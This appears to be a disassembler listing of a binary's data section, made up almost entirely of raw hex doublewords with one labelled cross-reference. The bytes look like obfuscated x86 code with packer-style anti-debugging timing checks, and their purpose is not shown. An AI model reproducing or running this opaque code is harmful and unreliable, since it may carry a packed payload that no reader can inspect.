		dd 46000000h, 67FEC356h, 78CD3178h, 8D8B5C77h, 6483025h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 17C35545h
		dd 0CE775A18h, 818D89F0h, 0E806482Ah, 13h, 0E941868Dh
		dd 2512D2D3h, 3A380BEAh, 77B0B704h, 894750A4h, 48007DB5h
		dd 8B505B06h, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 8FC35747h
		dd 7A86D45Ah, 0E93CB359h, 0Fh, 4F8707ADh, 2FE51FE5h, 0AE0F928Fh
		dd 83411DECh, 4812FDBDh, 840F0006h, 7Eh, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 17h, 8EC35545h, 0B8521152h
		dd 0
		dd 8D9BDF80h, 484E808Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 7D32C36h, 3131BD8Bh, 0FFFC0648h
		dd 11E8E1h, 0F3C90000h,	8E018C7Fh, 987C3E82h, 6541EABBh
		dd 0F5A5460h, 68Fh, 820F00h, 5B000000h,	2EDFF781h, 0BD837DD1h
		dd 6482AD9h, 6F840F00h,	6A000004h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0ABDEC352h
		dd 0ED44EFEEh, 1C5DBD89h, 9D8B0648h, 648275Dh, 8EDC28BFh
		dd 0D9BD835Bh, 106482Ah, 44B840Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 8F73E7C3h
		dd 0BD832716h, 6482AD9h, 0E8860F03h, 6A000003h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 0E68DC353h, 14E964h,	58A40000h, 0C247B3B8h, 41841A64h
		dd 0BA479BFFh, 653F91C7h, 0F60E95Eh, 686h, 0B9958900h
		dd 6606481Bh, 9D8BD98Ch, 64822C1h, 6A04E180h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 6628C355h, 840FC90Ah, 125h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 8CC35646h, 0AE8B310Eh, 0F894FD70h
		dd 158D89FCh, 8B06481Bh, 48115985h, 0DBD8B06h, 33064823h
		dd 48121985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 0D9D8B8Bh, 66064802h, 6090FE8Bh
		dd 2860Fh, 0DA8B0000h, 5061C78Bh, 8B665250h, 0E9310FD8h
		dd 8, 6725089h,	0BD957ACAh, 6A90585Ah, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 3965C356h
		dd 341B3413h, 6A75E063h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 0E2382373h, 7679B713h
		dd 68FC78BCh, 3D73FE70h, 0EE95250h, 4F000000h, 0A354C787h
		dd 57EFB7D9h, 47864D8h,	8B310FFDh, 81585AFAh, 0FD8F2434h
		dd 7E93D6Ch, 0F0000000h, 382C95A3h, 95FF0AA5h, 6480741h
		dd 1BB18D89h, 85890648h, 64BB689h, 0E9DE8B66h, 1BAh, 8D48D6BBh
		dd 81858B23h, 6A064BB6h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0BD0DC356h,	0FAF47B6h
		dd 383h, 0FEB70F00h, 1800C7h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 0B3B8ADC3h
		dd 85B58B6Ch, 6A064BB6h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 8B78C355h, 481A8585h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 0BD7C795Dh, 9E39DEFh, 6898586h, 1159858Bh
		dd 5AB70648h, 141BD89h,	46890648h, 55006A04h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0CE9500Fh
		dd 79000000h, 0C0E7AF96h, 826DA65Dh, 89468A1Bh,	0B5092434h
		dd 6480071h, 0B681B5FFh, 0BD89064Bh, 6481CD9h, 4E8h, 1F03FF00h
		dd 50D98B00h, 28E0Fh, 0DF8B0000h, 424448Bh, 0BB665250h
		dd 310F1D85h, 585ADE8Bh, 810F008Bh, 5, 0F88B6651h, 2444895Fh
		dd 11E804h, 9AEE0000h, 6222C785h, 99B38AD6h, 900C0A8Eh
		dd 51F7DBE7h, 5F5BFB8Bh, 38B0F58h, 80000000h, 858D20EBh
		dd 64BB689h, 50D9B70Fh,	2FE1BB66h, 6A240489h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0E818C357h, 880F0825h, 6, 0D159D8Bh,	95FF0648h, 6480741h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 4C35141h
		dd 0AE13ABC9h, 6A612128h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 0D971C356h,	0DA795305h
		dd 8B56E24Dh, 480FDDBDh, 0D985C706h, 306482Ah, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0EF8AC350h, 8B2A7E60h, 4813E5BDh,	89BD8306h
		dd 64BB6h, 31840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 6AEEACC3h, 5E8C46B7h
		dd 78D8589h, 1FE90648h,	8B000000h, 50F88AD8h, 110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 6AC08Bh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0C7FEE9C3h, 0DDBBF895h, 6A7C7019h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0F6F3C350h
		dd 0CDC62914h, 8947BAC7h, 4808699Dh, 0DA8B6606h, 2AD9BD83h
		dd 0F030648h, 40D85h, 6810F00h,	89000000h, 482EBD8Dh, 89BD8306h
		dd 64BB6h, 3F4840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 3EBBBCC3h, 0FF1329FBh
		dd 4BB689B5h, 68A0F06h,	8B000000h, 4809C59Dh, 0C58D8906h
		dd 0FF06481Ah, 4809F595h, 719D8906h, 81064800h,	340249DFh
		dd 7DB58B2Dh, 6A064BB6h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 2993C355h, 8BBFD99Bh
		dd 8B31ED8Ch, 4806A99Dh, 106C706h, 8B000100h, 481B01BDh
		dd 9D8B6006h, 6480B91h,	6850Fh,	95890000h, 6483151h, 34895061h
		dd 0E98D0124h, 0FF064810h, 4BB689B5h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
		dd 4533ACFDh, 0B0A4D7FDh, 9D8B527Ah, 64808B5h, 6195FF5Bh
		dd 6A064800h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 7B2FC353h, 0D37CA7DAh,	0B589AAD7h
		dd 6481AFDh, 0B67DB58Bh, 6A064Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 3729F7C3h, 8B6083EEh
		dd 48286595h, 0C2B70F06h, 25858B61h, 6A06480Fh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 78EAC356h, 0D381665Ah, 8689BDB7h, 0C4h, 91FACCBBh, 5958B48h
		dd 6A064814h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 2D40C352h, 0B0B3C153h,	6A04C283h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 960DC350h, 234D8509h, 50890648h, 0B1B58920h
		dd 8D064817h, 4BCAD485h, 0A5BF6606h, 0B886899Fh, 8B000000h
		dd 481AA9BDh, 1858906h,	6A064828h, 69953100h, 0FF064832h
		dd 4BB689B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 51C2C2ADh, 51FAB90Bh, 4854CB81h
		dd 95FF756Dh, 6480051h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 0B4C35545h, 84D1239Ah, 0FB8B6676h, 0D98B6650h
		dd 89243489h, 480A2DB5h, 89B5FF06h, 6A064BB6h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 1DFC356h, 48330D9Dh,	0B9BD8B06h, 60064828h
		dd 0FC4BC081h, 0F605103h, 8Bh, 69D28100h, 6101962Ch, 2995FF61h
		dd 29064814h, 481F0D95h, 0A9BD8306h, 64831h, 34840Fh, 81660000h
		dd 962182D7h, 7BCC3EBBh, 6A965053h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 6641C353h
		dd 8B574C72h, 482A49BDh, 0B5FF5F06h, 64BB689h, 23598D01h
		dd 95FF0648h, 64813FDh,	18619529h, 0B5FF0648h, 64BB689h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 82C35343h
		dd 1C2A0278h, 23A8BE29h, 177D95FFh, 6A0648h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0DC49AEC3h
		dd 68B0Fh, 85090000h, 648004Dh,	9D98D01h, 0BD830648h, 6482F1Dh
		dd 84840F02h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 11CFC353h, 858995C5h
		dd 64805B1h, 8BCBD780h,	48155185h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 348F6148h
		dd 0FD6126A7h, 858955DBh, 6481B35h, 0C6A5EF80h,	0B5010000h
		dd 64828EDh, 13E8h, 0C3DEA100h,	702A0EF7h, 2CF7A1B9h, 0D549C922h
		dd 38C01C33h, 0D319D8Bh, 0C75B0648h, 4816E185h,	6, 1494BF00h
		dd 0CCE95DA6h, 89FFFFF2h, 48322995h, 6AC18B06h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 8D48C352h, 48125585h, 0B1BD0906h, 0BB064830h, 379BC67Ch
		dd 89FC8A50h, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 2DAF3CC3h, 0CBB7AD8h, 0BF19D8Bh
		dd 6AFC0648h, 6890F00h,	89000000h, 48053D9Dh, 5501BB06h
		dd 6A4E27h, 0FE9h, 6DB87200h, 0D042B154h, 0EC5F064h, 7FCE0C48h
		dd 65A9858Dh, 6A064Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 0C4D34C3h, 51231A5Dh, 8310865Ah
		dd 6A05C0h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 71E2F6C3h, 0EBEA853Fh, 0DA8B50A3h, 6A240489h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 6ADC350h,	8DD9D0Bh, 6A0648h, 0D159D8Bh, 6A0648h
		dd 22A59509h, 95FF0648h, 6482B2Dh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 0FC35747h, 0C3BC8FF9h, 0F142980Dh
		dd 388D8D49h, 0F5064B99h, 40B7D1FFh, 1F98589h, 0BD830648h
		dd 64830E5h, 5B850F01h,	0B7000000h, 6A026AC1h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 0E0F6C353h, 0C380CBCEh, 8B665050h, 240489D8h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 59C35040h, 635C1C8Fh
		dd 0DDBD8B48h, 0FF064830h, 48005195h, 0EBE9FC06h, 0E800000Ch
		dd 0
		dd 0B3ED815Dh, 6A064C65h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 1DF0C357h, 1FC306BDh
		dd 6AD1F5F3h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 3047C350h, 0C3816635h,	51C45448h
		dd 93DA858Dh, 8D89064Bh, 64821C1h, 24048950h, 64FE8B66h
		dd 35FFh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 0B0FC7DC3h, 68493202h, 89601DADh
		dd 482AEDBDh, 61FDB606h, 258964h, 0F8000000h, 1AD185FFh
		dd 8A0F0648h, 0Bh, 6E9h, 82BF1A00h, 6A845645h, 0C860FFFh
		dd 0F000000h, 684h, 0E5958900h,	0FF064809h, 4827D9B5h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 0E99D8B76h, 0FF064810h, 4810D995h, 0EFE906h
		dd 9D8B0000h, 64814F5h,	0EB8100B0h, 6D62717Dh, 0B70F70E6h
		dd 6671E4F8h, 613CFE8Bh, 0CF830Fh, 9D890000h, 6480015h
		dd 0A7F78166h, 0C8B60F62h, 1C0D8529h, 6BA0648h,	81000000h
		dd 0F950E8C3h, 8BC18B34h, 481C9D9Dh, 0F99D8B06h, 0C106482Bh
		dd 0DAB304E8h, 56E2F766h, 5BDABF0Fh, 0F56C82Bh,	8B5FFBBFh
		dd 0DEBF0FD1h, 8ED9D31h, 3E90648h, 0F000000h, 858BFFBFh
		dd 6480AC9h, 5ADBE781h,	0C0831A29h, 0A9BD8B07h,	8306482Bh
		dd 0B70F00C0h, 0FD03BDBh, 1E83h, 0D7816600h, 9D8B204Ch
		dd 64813B9h, 48E9h, 9E900h, 87A90000h, 44B833B1h, 8B0858D4h
		dd 4811918Dh, 159D8B06h, 81064801h, 0EF2207D3h,	1E18346h
		dd 1F840Fh, 8B660000h, 91A583FBh, 0FE064811h, 3F9BB66h
		dd 0AC99589h, 66F80648h, 33F2DB81h, 0E9h, 0C7B58D00h, 6A064BF1h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 0A60AC351h, 0F0B2C51Ch, 6A006A43h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 674C357h, 0CD17E2D4h, 2BB9B589h, 0BF0F0648h,	2D95FFDFh
		dd 6A064809h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 7446C356h, 4A0A407h, 9A4BB565h
		dd 81CB9h, 0B1BD2300h, 8306482Fh, 9D8BFCE1h, 6481535h
		dd 68F0FFCh, 89000000h,	482C01BDh, 89C02B06h, 482C0595h
		dd 0E9D22B06h, 0Ch, 0A58143CFh,	4ADD949h, 0E702CF90h, 0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 11559D8Bh, 840F0648h,	6, 2E659D8Bh
		dd 880D0648h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 3705C356h, 0EE9707Ah
		dd 0E7000000h, 565C01CAh, 0B638D0Dh, 8929A1F3h,	5958BEEh
		dd 8B064814h, 482969BDh, 258D8B06h, 0F064830h, 688h, 75858900h
		dd 50064815h, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 6AADB358h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 3E7EC352h, 0DD9D3340h,	89064803h
		dd 48065DB5h, 0FDBD8306h, 64812h, 73840Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0F2D273C3h, 6EA5D4CFh, 8E9h,	57B7B100h, 0A3A7EF0h, 0B830h
		dd 8DF90000h, 484E808Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 42CE39F6h, 4F102D17h
		dd 6E9D4h, 706A0000h, 0C04C0979h, 0BB66E1FFh, 0C380E333h
		dd 0D9BD8318h, 6482Ah, 451840Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0CA3D83C3h
		dd 38156E4Fh, 0F9E4B594h, 2AD9BD83h, 0F010648h,	43984h
		dd 0C9BD8B00h, 83064827h, 482AD9BDh, 860F0306h,	3F0h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 7C35747h, 9C8324C9h
		dd 60B9F323h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Ch,	5DC35343h, 0DDFC58A8h, 44656D9Bh, 8DBF9FB7h, 665D330Fh
		dd 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0A2C674C3h, 0F8FD14BAh, 6A04E180h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 1166C351h, 19D899Eh,	0E9064820h, 7, 2EA1DE0Fh, 0AC56EFFh
		dd 2E840FC9h, 0F000001h, 0C87h,	6810F00h, 3000000h, 480E09BDh
		dd 59858B06h, 8B064811h, 481741BDh, 0EE906h, 80330000h
		dd 0EB3EABCEh, 3F2EE1B7h, 0DBB27E38h, 12198533h, 6A0648h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0BD89BDC3h, 64813C9h, 0BB525050h, 8B140BEh, 8B66310Fh
		dd 89585ADFh, 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 9C61F7C3h, 0D98B3AD9h, 7E9006Ah
		dd 0A5000000h, 0D457FBACh, 4E85DCDh, 0FF000000h, 66001F03h
		dd 500E94BBh, 9E96057h,	1E000000h, 44A5CAF3h, 0A95526E3h
		dd 5F615F51h, 424448Bh,	0C8B0Fh, 850F0000h, 6, 8F0Fh, 8B0000h
		dd 4244489h, 698BBF66h,	52006A58h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h
		db 0E6h, 0F1h
word_580046	dw 3725h		; DATA XREF: ___:off_4328B4o
					; ___:004328BCo ...
		dd 8B2E449Ah, 480B01BDh, 4195FF06h, 81064807h, 0E080D0CFh
		dd 8985897Eh, 33064BB6h, 4832119Dh, 0D5BD8B06h,	0E9064807h
		dd 1C9h, 57F795BFh, 81858B27h, 6A064BB6h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0CFD6C352h
		dd 6D8E72E8h, 0FA8B66F9h, 30ED9D8Bh, 0C70648h, 18h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 1C35242h, 0BCE930EBh
		dd 8905EF95h, 481A4985h, 85B58B06h, 89064BB6h, 480D09BDh
		dd 85858B06h, 2B06481Ah, 4806B99Dh, 0F068906h, 858BFBB7h
		dd 6481159h, 7B126ABFh,	4468943h, 0E896C5B7h, 10h, 4EA8C329h
		dd 0D1B63F4Ch, 0C9B553C1h, 0AA0E771Ah, 14E856h,	59830000h
		dd 56C58865h, 9CA44304h, 615CFA72h, 8B43F9DBh, 5F5F0DE0h
		dd 0F96505Bh, 0B5FFFAB7h, 64BB681h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 0C4C35545h,	0E8F5298Ah, 4
		dd 1F03FFh, 52506060h, 585A310Fh, 2B241FB8h, 50616114h
		dd 8BDF8B66h, 60042444h, 7E8h, 3B77ED00h, 3C42253Ah, 615FFE8Ah
		dd 0E957008Bh, 0Fh, 44BAF2BFh, 0E050A7CEh, 0FD744458h
		dd 5B8B1270h, 4244489h,	0CE860h, 1B670000h, 0ABBF3939h
		dd 9AAFF3F9h, 5B51528Ch, 0F58615Bh, 689h, 53C38100h, 0E97E9DECh
		dd 11h,	29368411h, 0F534D500h, 4A9752ECh, 16907503h, 89858D32h
		dd 6A064BB6h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 1625C351h, 0F8BF0FBDh,	22E1BD8Bh
		dd 0F500648h, 0A88h, 8B666000h,	4A03B8D0h, 8961589Bh, 8E0F2404h
		dd 4, 87EFBB66h, 74195FFh, 8B660648h, 6A61FBh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 0D32595C3h, 85C7B92Eh, 6482AD9h, 3, 15018D31h, 0BD830648h
		dd 64BB689h, 11840F00h,	29000000h, 482B59BDh, 21E906h
		dd 0B5890000h, 6481721h, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 0F9C08B00h, 10E8h, 4B4A6F00h, 3B4BF441h
		dd 400760AEh, 617301EBh, 7E9C0h, 0DEFD0000h, 0B36335C7h
		dd 0BD835B80h, 6482AD9h, 26850F03h, 0F000004h, 684h, 39858900h
		dd 83064817h, 4BB689BDh, 840F0006h, 40Dh, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 16h, 11C35141h, 85014310h
		dd 6481569h, 0B689B5FFh, 6A064Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 69085C3h, 8BD3B8F8h
		dd 0F595FFDFh, 6A064809h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 8CEC356h, 8332ECD5h
		dd 0B67DB58Bh, 9D33064Bh, 6481049h, 106C7h, 13E90001h
		dd 55000000h, 0C0392031h, 592E337Fh, 5C4A969Ah,	0BAF70FD1h
		dd 0DE8BE297h, 5E950h, 7A3F0000h, 899F9FA8h, 8B662434h
		dd 89B5FFDEh, 6A064BB6h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 57ECC353h, 0F8BF0FCFh
		dd 6195FFh, 8E90648h, 1D000000h, 37BBA32Eh, 8BA57660h
		dd 4BB67DB5h, 8BEDB306h, 480F2585h, 81666006h, 0E8AC7DC6h
		dd 0Fh,	6B725F94h, 0A2EC6545h, 0F427C9D8h, 237F4F41h, 4817419Dh
		dd 89615A06h, 0C486h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 1FD58DF7h, 6C76A9D5h
		dd 4820FFBh, 66000000h,	8B5359BFh, 4832DDBDh, 9BFFBF06h
		dd 958B7D92h, 6481405h,	83DFBF0Fh, 6A04C2h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 49183CC3h
		dd 0B99D8B96h, 89064813h, 0BB662050h, 858DFFC3h, 64BCAD4h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0ACC35343h
		dd 67E5E77Ah, 0AE33FF69h, 17558589h, 85890648h,	64810CDh
		dd 0B88689h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 9E56DFC3h, 2F527473h, 0CE9006Ah
		dd 7F000000h, 0BDE01BD0h, 0FB1E6CEBh, 8B1A90C9h, 481C6D9Dh
		dd 89B5FF06h, 6A064BB6h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0E75CC350h,	0B51BE3A7h
		dd 8039DBA1h, 95FF22EFh, 6480051h, 16BDBD8Bh, 50960648h
		dd 5250505Bh, 0FA8B6660h, 820Fh, 0F610000h, 0DE8B6631h
		dd 0E996585Ah, 0Fh, 0C42D2356h,	653726E5h, 0B85B71C6h
		dd 0FFA0E9DCh, 4BB689B5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 95FF8D1Fh
		dd 6481429h, 0FD8D0957h, 5F06481Eh, 0BD8381B7h,	64831A9h
		dd 42840F00h, 0B7000000h, 0EBF50C9h, 891AC2B0h,	6A2434h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0DBAA92C3h, 0A0BA16A8h, 10E9h, 89324200h, 0CD950A41h
		dd 0FC24894h, 0FF21935Eh, 89B5FFBBh, 8B064BB6h,	480A2D9Dh
		dd 68B0F06h, 8B000000h,	4828C19Dh, 0FD95FF06h, 89064813h
		dd 48178585h, 89B5FF06h, 89064BB6h, 4802F9B5h, 7D95FF06h
		dd 66064817h, 0BD8BDE8Bh, 6480B29h, 2F1DBD83h, 0F020648h
		dd 0A984h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 0B2855732h, 89DBB8B0h, 480BB99Dh
		dd 51858B06h, 6A064815h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 5457C350h, 830F98F3h
		dd 28h,	14E860h, 2E6F0000h, 0B0FD345Dh,	76A83BBDh, 8906D31Dh
		dd 838A46DDh, 0E95E59EAh, 7, 638C019Ah,	61716FF8h, 6A0000C6h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 4841C355h, 0A9A324E9h, 6CBFF744h,	0F330E14h
		dd 85C7FBBFh, 64816E1h,	0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0ECC35040h
		dd 0F3EDE9AEh, 0BD03FFFFh, 6481BA1h, 0B9BD8B52h, 5F06480Bh
		dd 0F381C18Bh, 41190C02h, 9859501h, 858D0648h, 6481255h
		dd 1AF18D89h, 50900648h, 8E9h, 86E91A00h, 2855EF65h, 0BD29904Eh
		dd 64819C9h, 8B66006Ah,	6A006AD9h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0D351C353h
		dd 627D505Ah, 5D8D09D7h, 0F06480Ah, 858DDEBFh, 64C74B8h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 6CC35747h
		dd 0D1725DB4h, 83C36345h, 6A05C0h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 0D1BB71C3h, 0F33D5B9h
		dd 0F90D8BFh, 0D83h, 19BF6000h,	0F7A50E3h, 88h,	0B3506100h
		dd 6A90F2h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 0F2558C3h, 6ADEBFh, 27D7DB81h, 6A1534h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 34C35747h, 95FFF5DBh
		dd 6482B2Dh, 8D5BF852h,	4B99388Dh, 13E906h, 0C6BF0000h
		dd 4AAE858Bh, 0EA3A5E44h, 6063B42Ah, 0F0DF04A2h, 6AD1FF76h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 8CB8C351h, 2B97C9E8h, 8D895583h, 6480B21h
		dd 30E5BD83h, 0F010648h, 0BC85h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 459D3128h
		dd 2DB501A7h, 6A064828h, 56006A02h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 364F82D9h, 0FC317092h
		dd 50605350h, 5A310F52h, 8B0F58h, 61000000h, 2404895Fh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0CAC35747h
		dd 0E8DDA338h, 0B6BF7EB0h, 0FF4F9928h, 48005195h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 212C4C95h, 6820Fh, 9D8B0000h, 6482019h, 342C8EBBh, 0DC3E931h
		dd 0E80000h, 5D000000h,	74C2ED81h, 6A064Ch, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0DA395AC3h
		dd 0BB66FA8Dh, 860FFFBFh, 1Dh, 11E8h, 2DD0C100h, 0DD8F00A3h
		dd 52FB89BCh, 0F9312C7Ch, 0BD8BA549h, 6480049h,	0FF88B5Bh
		dd 68Fh, 0B19D8900h, 8D06480Eh,	4B93DA85h, 89D98A06h, 48323D95h
		dd 0E8609006h, 0Ah, 36E31460h, 10E141CEh, 8F0FC673h, 0
		dd 0BA66565Ah, 6159F24Ah, 0B8666050h, 0E8B1BB1Ch, 0DC8A9061h
		dd 35FF64h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0E518C355h,	64EEA232h
		dd 2589h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 1E3F24C3h, 64B19E24h, 0E97735C3h
		dd 0Dh,	604BCB55h, 7A489C3Ah, 0F413F98Bh, 0D185FFCDh, 8906481Ah
		dd 480CA1BDh, 6AFF6A06h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 8434C353h, 0FF6B3E2Bh
